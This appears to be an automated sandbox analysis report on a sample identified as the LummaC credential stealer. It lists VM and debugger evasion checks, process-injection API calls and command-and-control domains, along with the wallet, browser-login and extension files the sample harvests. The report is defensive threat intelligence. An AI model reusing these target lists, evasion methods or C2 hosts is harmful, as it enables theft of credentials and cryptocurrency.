Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: 8ZVMneG.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: 8ZVMneG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 8ZVMneG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 8ZVMneG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 8ZVMneG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 8ZVMneG.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: 8ZVMneG.exe

Static PE information: section name: .CODE

Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ECB97A push ecx; ret	0_2_00ECB98D
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141C440 push eax; ret	3_3_0141C441
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_0141BE28 push edx; ret	3_3_0141BE29
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 3_3_01420FEA push ebp; ret	3_3_01420FEB

Source: C:\Users\user\Desktop\8ZVMneG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\8ZVMneG.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe TID: 1492	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe TID: 5780	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EDD2A7 FindFirstFileExW,		0_2_00EDD2A7
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EDD358 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00EDD358

Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 8ZVMneG.exe, 00000003.00000003.2483528838.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484524234.000000000136C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 8ZVMneG.exe, 00000003.00000002.2484637162.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2427807404.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2483778671.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354821190.0000000003C6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 8ZVMneG.exe, 00000003.00000003.2354925404.0000000003C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\8ZVMneG.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe

Code function: 0_2_00ED3C11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00ED3C11

Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EF21A9 mov edi, dword ptr fs:[00000030h]		0_2_00EF21A9
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EF55D0 mov edi, dword ptr fs:[00000030h]		0_2_00EF55D0

Source: C:\Users\user\Desktop\8ZVMneG.exe

Code function: 0_2_00ED8D25 GetProcessHeap,

0_2_00ED8D25

Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ECB290 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00ECB290
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ED3C11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00ED3C11
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ECB64C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00ECB64C
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ECB640 SetUnhandledExceptionFilter,	0_2_00ECB640

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\8ZVMneG.exe

Code function: 0_2_00EF21A9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00EF21A9

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\8ZVMneG.exe

Memory written: C:\Users\user\Desktop\8ZVMneG.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: 8ZVMneG.exe, 00000000.00000002.2160722353.0000000002A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 8ZVMneG.exe, 00000000.00000002.2160722353.0000000002A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 8ZVMneG.exe, 00000000.00000002.2160722353.0000000002A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: 8ZVMneG.exe, 00000000.00000002.2160722353.0000000002A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 8ZVMneG.exe, 00000000.00000002.2160722353.0000000002A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: 8ZVMneG.exe, 00000000.00000002.2160722353.0000000002A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click

Source: C:\Users\user\Desktop\8ZVMneG.exe

Process created: C:\Users\user\Desktop\8ZVMneG.exe "C:\Users\user\Desktop\8ZVMneG.exe"

Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00EDC8FD
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: GetLocaleInfoW,	0_2_00ED806C
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: EnumSystemLocalesW,	0_2_00EDC862
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: GetLocaleInfoW,	0_2_00EDCBAF
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: EnumSystemLocalesW,	0_2_00EDCB50
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: GetLocaleInfoW,	0_2_00EDCCCF
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: EnumSystemLocalesW,	0_2_00EDCC84
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00EDCD76
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: GetLocaleInfoW,	0_2_00EDCE7C
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00EDC611
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: EnumSystemLocalesW,	0_2_00ED8610

Source: C:\Users\user\Desktop\8ZVMneG.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe

Code function: 0_2_00ECC367 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00ECC367

Source: C:\Users\user\Desktop\8ZVMneG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 8ZVMneG.exe, 00000003.00000003.2440225330.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2427807404.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2427078648.0000000003C1C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\8ZVMneG.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 8ZVMneG.exe PID: 2144, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 8ZVMneG.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: 8ZVMneG.exe, 00000003.00000003.2402901054.0000000001408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t"$g
Source: 8ZVMneG.exe	String found in binary or memory: Jaxx Liberty
Source: 8ZVMneG.exe, 00000003.00000003.2402901054.0000000001408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],
Source: 8ZVMneG.exe, 00000003.00000003.2402901054.0000000001408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: um","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20
Source: 8ZVMneG.exe	String found in binary or memory: ExodusWeb3
Source: 8ZVMneG.exe, 00000003.00000002.2484637162.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 8ZVMneG.exe	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: 8ZVMneG.exe, 00000003.00000003.2423748589.0000000001414000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
